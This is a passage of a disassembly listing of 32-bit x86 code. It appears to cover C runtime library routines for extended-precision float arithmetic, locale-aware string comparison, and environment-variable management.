		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41D9A9
		cmp	cx, 7FFFh
		jnb	loc_41D9A9
		cmp	dx, 0BFFDh
		ja	loc_41D9A9
		cmp	dx, 3FBFh
		ja	short loc_41D812
		xor	eax, eax
		jmp	short loc_41D84C
; ---------------------------------------------------------------------------


loc_41D812:				; CODE XREF: sub_41D7A9+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41D834
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41D834
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41D836
		cmp	[esi], eax
		jnz	short loc_41D836
		jmp	loc_41D9A3
; ---------------------------------------------------------------------------


loc_41D834:				; CODE XREF: sub_41D7A9+71j
					; sub_41D7A9+79j
		xor	eax, eax


loc_41D836:				; CODE XREF: sub_41D7A9+80j
					; sub_41D7A9+84j
		cmp	cx, ax
		jnz	short loc_41D859
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41D859
		cmp	[ebx+4], eax
		jnz	short loc_41D859
		cmp	[ebx], eax
		jnz	short loc_41D859


loc_41D84C:				; CODE XREF: sub_41D7A9+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41D9C4
; ---------------------------------------------------------------------------


loc_41D859:				; CODE XREF: sub_41D7A9+90j
					; sub_41D7A9+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41D869:				; CODE XREF: sub_41D7A9+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41D8BD
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41D885:				; CODE XREF: sub_41D7A9+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41CB6F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D8B0
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41D8B0:				; CODE XREF: sub_41D7A9+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41D885


loc_41D8BD:				; CODE XREF: sub_41D7A9+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41D869
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41D900


loc_41D8DB:				; CODE XREF: sub_41D7A9+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41D8F9
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41CBEE
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41D8DB


loc_41D8F9:				; CODE XREF: sub_41D7A9+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41D939


loc_41D900:				; CODE XREF: sub_41D7A9+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41D939
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41D919:				; CODE XREF: sub_41D7A9+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41D922
		inc	[ebp+var_14]


loc_41D922:				; CODE XREF: sub_41D7A9+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41CC1C
		dec	ebx
		pop	ecx
		jnz	short loc_41D919
		cmp	[ebp+var_14], 0
		jz	short loc_41D939
		or	byte ptr [ebp+var_24], 1


loc_41D939:				; CODE XREF: sub_41D7A9+155j
					; sub_41D7A9+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41D950
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41D985


loc_41D950:				; CODE XREF: sub_41D7A9+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41D982
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41D97D
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41D977
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41D985
; ---------------------------------------------------------------------------


loc_41D977:				; CODE XREF: sub_41D7A9+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41D985
; ---------------------------------------------------------------------------


loc_41D97D:				; CODE XREF: sub_41D7A9+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41D985
; ---------------------------------------------------------------------------


loc_41D982:				; CODE XREF: sub_41D7A9+1ABj
		inc	[ebp+var_24+2]


loc_41D985:				; CODE XREF: sub_41D7A9+1A5j
					; sub_41D7A9+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41D9A9
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41D9A3:				; CODE XREF: sub_41D7A9+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41D9C4
; ---------------------------------------------------------------------------


loc_41D9A9:				; CODE XREF: sub_41D7A9+42j
					; sub_41D7A9+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41D9C4:				; CODE XREF: sub_41D7A9+ABj
					; sub_41D7A9+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9C9	proc near		; CODE XREF: sub_41CD10+440p
					; sub_41D1E1+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_438280
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41DA42
		jge	short loc_41D9F1
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4383E0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41D9F1:				; CODE XREF: sub_41D9C9+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41D9FC
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41D9FC:				; CODE XREF: sub_41D9C9+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41DA42
		push	esi
		push	edi


loc_41DA03:				; CODE XREF: sub_41D9C9+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41DA3B
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41DA2E
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41DA2E:				; CODE XREF: sub_41D9C9+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41D7A9
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41DA3B:				; CODE XREF: sub_41D9C9+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41DA03
		pop	edi
		pop	esi


loc_41DA42:				; CODE XREF: sub_41D9C9+14j
					; sub_41D9C9+36j
		pop	ebx
		leave
		retn
sub_41D9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA45	proc near		; CODE XREF: sub_41D5E6+5Ep
					; sub_41DF6C+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41DA52
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DA52:				; CODE XREF: sub_41DA45+7j
		push	dword_743644
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_743864
		call	sub_41DB68
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41DA7F
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DA7F:				; CODE XREF: sub_41DA45+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41DA45	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA84	proc near		; CODE XREF: sub_41D5E6+1Ep
					; sub_41DDE5+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_74225C
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41DAE5
		mov	ebx, dword_41F10C


loc_41DA9D:				; CODE XREF: sub_41DA84+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41DAED
		push	ebp
		call	sub_413F0B
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41DAED
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41DAED
		push	edi
		push	[esp+18h+var_4]
		call	sub_41DDE5
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41DA9D


loc_41DAE5:				; CODE XREF: sub_41DA84+11j
		xor	eax, eax


loc_41DAE7:				; CODE XREF: sub_41DA84+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DAED:				; CODE XREF: sub_41DA84+29j
					; sub_41DA84+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DAE7
sub_41DA84	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAF2	proc near		; CODE XREF: sub_41D663+8Bp
					; sub_41D663+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_743640
		jnb	short loc_41DB59
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_743540[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41DB59
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41DB32
		and	cl, 7Fh
		jmp	short loc_41DB3F
; ---------------------------------------------------------------------------


loc_41DB32:				; CODE XREF: sub_41DAF2+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41DB4D
		or	cl, 80h


loc_41DB3F:				; CODE XREF: sub_41DAF2+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB4D:				; CODE XREF: sub_41DAF2+48j
		mov	dword_74222C, 16h
		jmp	short loc_41DB63
; ---------------------------------------------------------------------------


loc_41DB59:				; CODE XREF: sub_41DAF2+Bj
					; sub_41DAF2+27j
		mov	dword_74222C, 9


loc_41DB63:				; CODE XREF: sub_41DAF2+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41DAF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB68	proc near		; CODE XREF: sub_41DA45+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41FC18
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_742514, ebx
		push	1
		pop	edi
		jnz	short loc_41DBDB
		push	edi
		mov	eax, offset dword_41F868
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_41F008	; CompareStringW
		test	eax, eax
		jz	short loc_41DBB8
		mov	dword_742514, edi
		jmp	short loc_41DBDB
; ---------------------------------------------------------------------------


loc_41DBB8:				; CODE XREF: sub_41DB68+46j
		push	edi
		mov	eax, offset dword_438A0C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_41F00C	; CompareStringA
		test	eax, eax
		jz	loc_41DDD1
		mov	dword_742514, 2


loc_41DBDB:				; CODE XREF: sub_41DB68+31j
					; sub_41DB68+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41DBF2
		push	esi
		push	[ebp+arg_8]
		call	sub_41A1E8
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41DBF2:				; CODE XREF: sub_41DB68+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41DC07
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41A1E8
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41DC07:				; CODE XREF: sub_41DB68+8Dj
		mov	eax, dword_742514
		cmp	eax, 2
		jnz	short loc_41DC2C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41F00C	; CompareStringA
		jmp	loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DC2C:				; CODE XREF: sub_41DB68+A7j
		cmp	eax, edi
		jnz	loc_41DDD1
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41DC41
		mov	eax, dword_7422C4
		mov	[ebp+arg_18], eax


loc_41DC41:				; CODE XREF: sub_41DB68+CFj
		cmp	esi, ebx
		jz	short loc_41DC4E
		cmp	[ebp+arg_14], ebx
		jnz	loc_41DCE6


loc_41DC4E:				; CODE XREF: sub_41DB68+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41DC5B


loc_41DC53:				; CODE XREF: sub_41DB68+13Cj
					; sub_41DB68+16Dj
		push	2


loc_41DC55:				; CODE XREF: sub_41DB68+146j
		pop	eax
		jmp	loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DC5B:				; CODE XREF: sub_41DB68+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41DC67


loc_41DC60:				; CODE XREF: sub_41DB68+151j
					; sub_41DB68+159j ...
		mov	eax, edi
		jmp	loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DC67:				; CODE XREF: sub_41DB68+F6j
		cmp	esi, edi
		jg	short loc_41DCAC
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_41F18C	; GetCPInfo
		test	eax, eax
		jz	loc_41DDD1
		cmp	esi, ebx
		jle	short loc_41DCB0
		cmp	[ebp+var_3C], 2
		jb	short loc_41DCAC
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41DCAC


loc_41DC92:				; CODE XREF: sub_41DB68+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41DCAC
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41DCA6
		cmp	cl, dl
		jbe	short loc_41DC53


loc_41DCA6:				; CODE XREF: sub_41DB68+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41DC92


loc_41DCAC:				; CODE XREF: sub_41DB68+101j
					; sub_41DB68+120j ...
		push	3
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DCB0:				; CODE XREF: sub_41DB68+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41DCE6
		cmp	[ebp+var_3C], 2
		jb	short loc_41DC60
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41DC60


loc_41DCC3:				; CODE XREF: sub_41DB68+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41DC60
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41DCDB
		cmp	cl, dl
		jbe	loc_41DC53


loc_41DCDB:				; CODE XREF: sub_41DB68+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41DCC3
		jmp	loc_41DC60
; ---------------------------------------------------------------------------


loc_41DCE6:				; CODE XREF: sub_41DB68+E0j
					; sub_41DB68+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_41F110	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41DDD1
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41DD35
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41DD35:				; CODE XREF: sub_41DB68+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41DDD1
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_41F110
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41DDD1
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41DDD1
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41DDA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41DDA0:				; CODE XREF: sub_41DB68+224j
		cmp	edi, ebx
		jz	short loc_41DDD1
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_41F110	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41DDD1
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41F008	; CompareStringW
		jmp	short loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DDD1:				; CODE XREF: sub_41DB68+63j
					; sub_41DB68+C6j ...
		xor	eax, eax


loc_41DDD3:				; CODE XREF: sub_41DB68+BFj
					; sub_41DB68+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDE5	proc near		; CODE XREF: sub_41DA84+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41DE49
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41E02B
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41DE49
		cmp	[ebp+arg_0], esi
		jz	short loc_41DE49
		mov	eax, dword_742254
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_742258
		jnz	short loc_41DE2F
		push	eax
		call	sub_41DFC4
		pop	ecx
		mov	dword_742254, eax


loc_41DE2F:				; CODE XREF: sub_41DDE5+3Cj
		cmp	eax, edi
		jnz	short loc_41DE87
		cmp	[ebp+arg_4], edi
		jz	short loc_41DE51
		cmp	dword_74225C, edi
		jz	short loc_41DE51
		call	sub_41DA84
		test	eax, eax
		jz	short loc_41DE87


loc_41DE49:				; CODE XREF: sub_41DDE5+Dj
					; sub_41DDE5+22j ...
		or	eax, 0FFFFFFFFh


loc_41DE4C:				; CODE XREF: sub_41DDE5+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DE51:				; CODE XREF: sub_41DDE5+51j
					; sub_41DDE5+59j
		cmp	ebx, edi
		jnz	loc_41DF65
		push	4
		call	sub_413F0B
		cmp	eax, edi
		pop	ecx
		mov	dword_742254, eax
		jz	short loc_41DE49
		mov	[eax], edi
		cmp	dword_74225C, edi
		jnz	short loc_41DE87
		push	4
		call	sub_413F0B
		cmp	eax, edi
		pop	ecx
		mov	dword_74225C, eax
		jz	short loc_41DE49
		mov	[eax], edi


loc_41DE87:				; CODE XREF: sub_41DDE5+4Cj
					; sub_41DDE5+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_742254
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41DF6C
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41DEE7
		cmp	dword ptr [edi], 0
		jz	short loc_41DEE7
		test	ebx, ebx
		jz	short loc_41DEDF
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_413F7F
		pop	ecx


loc_41DEB9:				; CODE XREF: sub_41DDE5+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41DEC9
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41DEB9
; ---------------------------------------------------------------------------


loc_41DEC9:				; CODE XREF: sub_41DDE5+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4157BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41DF19
		jmp	short loc_41DF14
; ---------------------------------------------------------------------------


loc_41DEDF:				; CODE XREF: sub_41DDE5+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41DF19
; ---------------------------------------------------------------------------


loc_41DEE7:				; CODE XREF: sub_41DDE5+BDj
					; sub_41DDE5+C2j
		test	ebx, ebx
		jnz	short loc_41DF65
		test	esi, esi
		jge	short loc_41DEF1
		neg	esi


loc_41DEF1:				; CODE XREF: sub_41DDE5+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4157BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41DE49
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41DF14:				; CODE XREF: sub_41DDE5+F8j
		mov	dword_742254, eax


loc_41DF19:				; CODE XREF: sub_41DDE5+F6j
					; sub_41DDE5+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41DF65
		push	[ebp+arg_0]
		call	sub_413E90
		inc	eax
		inc	eax
		push	eax
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41DF65
		push	[ebp+arg_0]
		push	esi
		call	sub_414FB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_41F004	; SetEnvironmentVariableA
		push	esi
		call	sub_413F7F
		pop	ecx


loc_41DF65:				; CODE XREF: sub_41DDE5+6Ej
					; sub_41DDE5+104j ...
		xor	eax, eax
		jmp	loc_41DE4C
sub_41DDE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF6C	proc near		; CODE XREF: sub_41DDE5+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_742254
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41DFA7
		mov	edi, [esp+8+arg_4]


loc_41DF7E:				; CODE XREF: sub_41DF6C+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41DA45
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DF9D
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41DFB7
		test	al, al
		jz	short loc_41DFB7


loc_41DF9D:				; CODE XREF: sub_41DF6C+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41DF7E


loc_41DFA7:				; CODE XREF: sub_41DF6C+Cj
		mov	eax, esi
		sub	eax, dword_742254
		sar	eax, 2
		neg	eax


loc_41DFB4:				; CODE XREF: sub_41DF6C+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFB7:				; CODE XREF: sub_41DF6C+2Bj
					; sub_41DF6C+2Fj
		mov	eax, esi
		sub	eax, dword_742254
		sar	eax, 2
		jmp	short loc_41DFB4
sub_41DF6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DFC4	proc near		; CODE XREF: sub_41DDE5+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41DFD3
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41DFD3:				; CODE XREF: sub_41DFC4+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41DFE5


loc_41DFDB:				; CODE XREF: sub_41DFC4+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41DFDB


loc_41DFE5:				; CODE XREF: sub_41DFC4+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41E006
		push	9
		call	sub_415F07
		pop	ecx


loc_41E006:				; CODE XREF: sub_41DFC4+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41E00A:				; CODE XREF: sub_41DFC4+5Bj
		test	eax, eax
		jz	short loc_41E021
		push	eax
		add	ebx, 4
		call	sub_41E09E
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41E00A
; ---------------------------------------------------------------------------


loc_41E021:				; CODE XREF: sub_41DFC4+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41DFC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E02B	proc near		; CODE XREF: sub_41DDE5+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_74365C, 0
		jnz	short loc_41E046
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415BA0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41E02B+Aj
		mov	ecx, [ebp+arg_0]


loc_41E049:				; CODE XREF: sub_41E02B+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41E08C
		movzx	edx, al
		test	byte_743761[edx], 4
